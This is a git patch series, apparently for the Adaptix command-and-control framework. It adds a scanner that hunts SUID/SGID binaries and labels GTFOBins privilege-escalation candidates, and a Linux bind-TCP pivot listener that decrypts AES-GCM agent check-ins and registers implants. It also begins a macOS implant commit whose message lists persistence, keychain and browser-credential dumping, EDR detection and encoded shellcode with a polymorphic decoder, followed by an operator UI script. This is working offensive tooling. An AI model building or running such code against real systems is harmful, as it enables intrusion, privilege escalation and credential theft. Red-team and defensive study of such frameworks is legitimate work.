sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char fullpath[1024]; + int dirlen = AxStrlen(dirpath); + if (dirlen + 1 + AxStrlen(name) + 1 > 1024) { + pos += entry->d_reclen; + continue; + } + AxStrcpy(fullpath, dirpath); + if (dirpath[dirlen - 1] != '/') { + fullpath[dirlen] = '/'; + fullpath[dirlen + 1] = '\0'; + } + AxStrcat(fullpath, name); + + // Recurse into directories + if (entry->d_type == DT_DIR) { + // Skip /proc, /sys, /dev, /run + if (depth == 0) { + if (AxStrcmp(name, "proc") == 0 || AxStrcmp(name, "sys") == 0 || + AxStrcmp(name, "dev") == 0 || AxStrcmp(name, "run") == 0 || + AxStrcmp(name, "snap") == 0) { + pos += entry->d_reclen; + continue; + } + } + scan_directory(fullpath, depth + 1); + } + + // Check files for SUID/SGID + if (entry->d_type == DT_REG || entry->d_type == DT_LNK) { + unsigned int mode = 0; + long fsize = 0; + unsigned int uid = 0, gid = 0; + + if (AxFileStat(fullpath, &mode, &fsize, &uid, &gid) == 0) { + int is_suid = (mode & S_ISUID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + int is_sgid = (mode & S_ISGID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + + if (is_suid || is_sgid) { + const char *basename = get_basename(fullpath); + const char *hint = find_gtfobins_hint(basename); + + char flags[16]; + int fi = 0; + if (is_suid) { flags[fi++] = 'S'; flags[fi++] = 'U'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + if (is_suid && is_sgid) { flags[fi++] = '+'; } + if (is_sgid) { flags[fi++] = 'S'; flags[fi++] = 'G'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + flags[fi] = '\0'; + + if (hint) { + BeaconPrintf(CALLBACK_OUTPUT, + "[!!] %-50s [%s] owner=%d GTFOBins: %s\n", + fullpath, flags, uid, hint); + gtfobins_count++; + } else { + BeaconPrintf(CALLBACK_OUTPUT, + " %-50s [%s] owner=%d\n", + fullpath, flags, uid); + } + + if (is_suid) suid_count++; + if (is_sgid) sgid_count++; + } + } + } + + pos += entry->d_reclen; + } + } + + AxCloseFile(fd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning for SUID/SGID binaries...\n"); + BeaconPrintf(CALLBACK_OUTPUT, " [!!] = GTFOBins escalation candidate\n\n"); + + suid_count = 0; + sgid_count = 0; + gtfobins_count = 0; + + // Scan standard binary directories first (fast) + const char *fast_dirs[] = { + "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", + "/bin", "/sbin", "/opt", + (const char *)0 + }; + + for (int i = 0; fast_dirs[i]; i++) { + scan_directory(fast_dirs[i], 2); // depth=2 to skip virtual fs skip logic + } + + // Full filesystem scan for non-standard locations + scan_directory("/home", 1); + scan_directory("/tmp", 1); + scan_directory("/var", 1); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Summary: %d SUID, %d SGID, %d GTFOBins candidates\n", + suid_count, sgid_count, gtfobins_count); +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/Makefile b/AdaptixServer/extenders/linux_listener_tcp/Makefile new file mode 100644 index 000000000..ec48f2439 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_linux_tcp plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_linux_tcp.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs new file mode 100644 index 000000000..dd5e7ea5f --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs @@ -0,0 +1,45 @@ +/// Linux TCP listener (internal — bind TCP for pivot) + +function ListenerUI(mode_create) +{ + let spacer1 = form.create_vspacer() + + let labelPortBind = form.create_label("Bind port:"); + let spinPortBind = form.create_spin(); + spinPortBind.setRange(1, 65535); + spinPortBind.setValue(4444); + spinPortBind.setEnabled(mode_create) + + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + textlineEncryptKey.setEnabled(mode_create) + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create) + + let spacer2 = form.create_vspacer() + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + + let layout = form.create_gridlayout(); + layout.addWidget(spacer1, 0, 0, 1, 3); + layout.addWidget(labelPortBind, 1, 0, 1, 1); + layout.addWidget(spinPortBind, 1, 1, 1, 2); + layout.addWidget(labelEncryptKey, 2, 0, 1, 1); + layout.addWidget(textlineEncryptKey, 2, 1, 1, 1); + layout.addWidget(buttonEncryptKey, 2, 2, 1, 1); + layout.addWidget(spacer2, 3, 0, 1, 3); + + let container = form.create_container(); + container.put("port_bind", spinPortBind); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 650, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/config.yaml b/AdaptixServer/extenders/linux_listener_tcp/config.yaml new file mode 100644 index 000000000..f301c6f75 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_linux_tcp.so" +ax_file: "ax_config.axs" + +listener_name: "LinuxTCP" +listener_type: "internal" +protocol: "bind_tcp" diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.mod b/AdaptixServer/extenders/linux_listener_tcp/go.mod new file mode 100644 index 000000000..ddccfbbfc --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.mod @@ -0,0 +1,10 @@ +module adaptix_listener_linux_tcp + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.sum b/AdaptixServer/extenders/linux_listener_tcp/go.sum new file mode 100644 index 000000000..f2b291c57 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.sum @@ -0,0 +1,14 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_main.go b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go new file mode 100644 index 000000000..21fc94d30 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go @@ -0,0 +1,198 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + + adaptix "github.com/Adaptix-Framework/axc2" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +// Msgpack structs matching Linux agent's build_init_msg format +type StartMsg struct { + Id int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + customdData []byte + conf TransportConfig + err error + ) + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.Protocol = "bind_tcp" + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + } + + transport := &TransportTCP{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", transport.Config.Port), + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + l.transport.Active = true + return nil +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + customdData []byte + ) + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", l.transport.Config.Port), + Status: "Listen", + } + + var buffer bytes.Buffer + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + l.transport.Active = false + return nil +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return nil, err + } + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + // Decrypt with AES-128-GCM (16-byte key) + encKey, err := hex.DecodeString(l.transport.Config.EncryptKey) + if err != nil { + return "", err + } + if len(encKey) != 16 { + return "", errors.New("encrypt_key must be 16 bytes for AES-128") + } + + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", errors.New("beat ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", errors.New("aes-128-gcm decrypt error") + } + + // Parse msgpack: StartMsg{id, data} → InitPack{id, type, data} + var startMsg StartMsg + if err = msgpack.Unmarshal(plaintext, &startMsg); err != nil { + return "", fmt.Errorf("msgpack StartMsg decode error: %v", err) + } + + var initPack InitPack + if err = msgpack.Unmarshal(startMsg.Data, &initPack); err != nil { + return "", fmt.Errorf("msgpack InitPack decode error: %v", err) + } + + agentType := fmt.Sprintf("%08x", initPack.Type) + agentId = fmt.Sprintf("%08x", initPack.Id) + + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, initPack.Data, l.transport.Name, "", false) + if err != nil { + return agentId, err + } + } + + return agentId, nil +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go new file mode 100644 index 000000000..da1cd728d --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go @@ -0,0 +1,44 @@ +package main + +import ( + "encoding/json" + "errors" + "regexp" +) + +type Listener struct { + transport *TransportTCP +} + +type TransportConfig struct { + Port int `json:"port_bind"` + EncryptKey string `json:"encrypt_key"` + + Protocol string `json:"protocol"` +} + +type TransportTCP struct { + Config TransportConfig + Name string + Active bool +} + +func validConfig(config string) error { + var conf TransportConfig + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.Port < 1 || conf.Port > 65535 { + return errors.New("Port must be in the range 1-65535") + } + + // Linux agent uses AES-128-GCM (16-byte key = 32 hex chars) + match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) + if len(conf.EncryptKey) != 32 || !match { + return errors.New("encrypt_key must be 32 hex characters (16 bytes for AES-128)") + } + + return nil +} From 89914899d89375363c202bc2e0cbdfc64af1d346 Mon Sep 17 00:00:00 2001 From: En3nr4 Date: Fri, 1 May 2026 20:46:21 +0200 Subject: [PATCH 02/11] feat: add native macOS agent (ARM64 Apple Silicon) Native C agent for macOS ARM64 (Apple Silicon M1/M2/M3/M4): - Cross-compiled from Linux via osxcross (aarch64-apple-darwin23.5-clang) - Formats: Mach-O binary, Shellcode ARM64 (XOR-encoded dylib), Go fallback - 26 commands: fs ops, process mgmt, shell, screenshot, clipboard, persistence, TCC check, EDR detection, keychain, browser dump, download, upload, run, tunnels, terminal, SOCKS proxy - AES-128-GCM crypto, msgpack wire protocol, TCP connector - ~100 KB Mach-O, ~120 KB shellcode blob - Polymorphic ARM64 XOR decoder stub --- AdaptixServer/extenders/macos_agent/Makefile | 14 + .../extenders/macos_agent/ax_config.axs | 232 ++ .../extenders/macos_agent/config.yaml | 9 + AdaptixServer/extenders/macos_agent/go.mod | 14 + .../extenders/macos_agent/macos_agent.ext | Bin 0 -> 7753040 bytes .../extenders/macos_agent/pl_encoder_macos.go | 420 ++++ .../extenders/macos_agent/pl_hashes_macos.go | 327 +++ .../extenders/macos_agent/pl_main.go | 1868 +++++++++++++++++ .../extenders/macos_agent/pl_utils.go | 418 ++++ .../extenders/macos_agent/src_agent/Makefile | 44 + .../macos_agent/src_agent/agent/agent_info.c | 141 ++ .../macos_agent/src_agent/agent/agent_info.h | 15 + .../macos_agent/src_agent/agent/commander.c | 114 + .../macos_agent/src_agent/agent/commander.h | 27 + .../macos_agent/src_agent/agent/connector.c | 158 ++ .../macos_agent/src_agent/agent/connector.h | 36 + .../macos_agent/src_agent/agent/crt.c | 306 +++ .../macos_agent/src_agent/agent/crt.h | 36 + .../macos_agent/src_agent/agent/crypt.c | 417 ++++ .../macos_agent/src_agent/agent/crypt.h | 54 + .../src_agent/agent/dyld_resolve.c | 322 +++ .../src_agent/agent/dyld_resolve.h | 209 ++ .../macos_agent/src_agent/agent/jobs.c | 208 ++ .../macos_agent/src_agent/agent/jobs.h | 138 ++ .../macos_agent/src_agent/agent/main.c | 584 ++++++ .../macos_agent/src_agent/agent/msgpack.c | 535 +++++ .../macos_agent/src_agent/agent/msgpack.h | 64 + .../macos_agent/src_agent/agent/opsec.c | 144 ++ .../macos_agent/src_agent/agent/opsec.h | 17 + .../src_agent/agent/syscalls_arm64.h | 191 ++ .../macos_agent/src_agent/agent/tasks_async.c | 806 +++++++ .../macos_agent/src_agent/agent/tasks_async.h | 16 + .../macos_agent/src_agent/agent/tasks_fs.c | 501 +++++ .../macos_agent/src_agent/agent/tasks_fs.h | 16 + .../macos_agent/src_agent/agent/tasks_macos.c | 668 ++++++ .../macos_agent/src_agent/agent/tasks_macos.h | 16 + .../macos_agent/src_agent/agent/tasks_net.c | 860 ++++++++ .../macos_agent/src_agent/agent/tasks_net.h | 19 + .../macos_agent/src_agent/agent/tasks_proc.c | 286 +++ .../macos_agent/src_agent/agent/tasks_proc.h | 11 + .../macos_agent/src_agent/agent/types.h | 72 + .../macos_agent/src_agent/agent_macos | Bin 0 -> 107144 bytes .../macos_agent/src_agent/files/config.tpl | 72 + .../macos_agent/src_agent/obj/agent_info.o | Bin 0 -> 3640 bytes .../macos_agent/src_agent/obj/commander.o | Bin 0 -> 3472 bytes .../macos_agent/src_agent/obj/connector.o | Bin 0 -> 2568 bytes .../extenders/macos_agent/src_agent/obj/crt.o | Bin 0 -> 4176 bytes .../macos_agent/src_agent/obj/crypt.o | Bin 0 -> 4672 bytes .../macos_agent/src_agent/obj/dyld_resolve.o | Bin 0 -> 11560 bytes .../macos_agent/src_agent/obj/jobs.o | Bin 0 -> 4224 bytes .../macos_agent/src_agent/obj/main.o | Bin 0 -> 616 bytes .../macos_agent/src_agent/obj/msgpack.o | Bin 0 -> 8208 bytes .../macos_agent/src_agent/obj/opsec.o | Bin 0 -> 1888 bytes .../macos_agent/src_agent/obj/tasks_async.o | Bin 0 -> 16448 bytes .../macos_agent/src_agent/obj/tasks_fs.o | Bin 0 -> 13224 bytes .../macos_agent/src_agent/obj/tasks_macos.o | Bin 0 -> 22176 bytes .../macos_agent/src_agent/obj/tasks_net.o | Bin 0 -> 14224 bytes .../macos_agent/src_agent/obj/tasks_proc.o | Bin 0 -> 6064 bytes .../extenders/macos_agent/src_macos/Makefile | 4 + .../extenders/macos_agent/src_macos/config.go | 5 + .../src_macos/functions/functions.go | 308 +++ .../src_macos/functions/functions_darwin.go | 228 ++ .../src_macos/functions/opsec_darwin.go | 161 ++ .../src_macos/functions/persist_darwin.go | 509 +++++ .../extenders/macos_agent/src_macos/go.mod | 11 + .../extenders/macos_agent/src_macos/go.sum | 19 + .../extenders/macos_agent/src_macos/main.go | 238 +++ .../extenders/macos_agent/src_macos/tasks.go | 1422 +++++++++++++ .../macos_agent/src_macos/utils/crypt.go | 57 + .../src_macos/utils/debug_debug.go | 16 + .../src_macos/utils/debug_release.go | 6 + .../src_macos/utils/strings_obf.go | 26 + .../macos_agent/src_macos/utils/utils.go | 360 ++++ .../macos_agent/src_macos/utils/xorstr.go | 12 + 74 files changed, 13787 insertions(+) create mode 100644 AdaptixServer/extenders/macos_agent/Makefile create mode 100644 AdaptixServer/extenders/macos_agent/ax_config.axs create mode 100644 AdaptixServer/extenders/macos_agent/config.yaml create mode 100644 AdaptixServer/extenders/macos_agent/go.mod create mode 100644 AdaptixServer/extenders/macos_agent/macos_agent.ext create mode 100644 AdaptixServer/extenders/macos_agent/pl_encoder_macos.go create mode 100644 AdaptixServer/extenders/macos_agent/pl_hashes_macos.go create mode 100644 AdaptixServer/extenders/macos_agent/pl_main.go create mode 100644 AdaptixServer/extenders/macos_agent/pl_utils.go create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/Makefile create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/connector.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/crt.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/crt.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/crypt.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/dyld_resolve.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/jobs.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/main.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/msgpack.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/opsec.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/syscalls_arm64.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_async.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_fs.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.c create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_proc.h create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/agent/types.h create mode 100755 AdaptixServer/extenders/macos_agent/src_agent/agent_macos create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/files/config.tpl create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/agent_info.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/commander.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/connector.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/crt.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/crypt.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/dyld_resolve.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/jobs.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/main.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/msgpack.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/opsec.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_async.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_fs.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o create mode 100644 AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_proc.o create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/Makefile create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/config.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/functions/functions.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/go.mod create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/go.sum create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/main.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/tasks.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go create mode 100644 AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go diff --git a/AdaptixServer/extenders/macos_agent/Makefile b/AdaptixServer/extenders/macos_agent/Makefile new file mode 100644 index 000000000..a3cae542e --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/Makefile @@ -0,0 +1,14 @@ +all: clean + @ echo " * Building agent_macos plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_macos.so pl_main.go pl_utils.go pl_hashes_macos.go pl_encoder_macos.go + @ echo " done..." + + @ echo " * Preparing macOS agent sources" + @ cp -r src_macos ./dist/src_macos + @ cp -r src_agent ./dist/src_agent + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/macos_agent/ax_config.axs b/AdaptixServer/extenders/macos_agent/ax_config.axs new file mode 100644 index 000000000..1ce0cf62e --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/ax_config.axs @@ -0,0 +1,232 @@ +/// macOS agent — AxScript UI configuration + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["macos"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["macos"]) +menu.add_session_browser(process_browser_action, ["macos"]) +menu.add_session_browser(terminal_browser_action, ["macos"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["macos"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["macos"]) +menu.add_filebrowser(remove_action, ["macos"]) + + +let job_stop_action = menu.create_action("Stop job", function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["macos"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["macos"]) + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["macos"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["macos"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["macos"]); + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /Users/target", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Kill agent", "exit", "Task: kill agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let 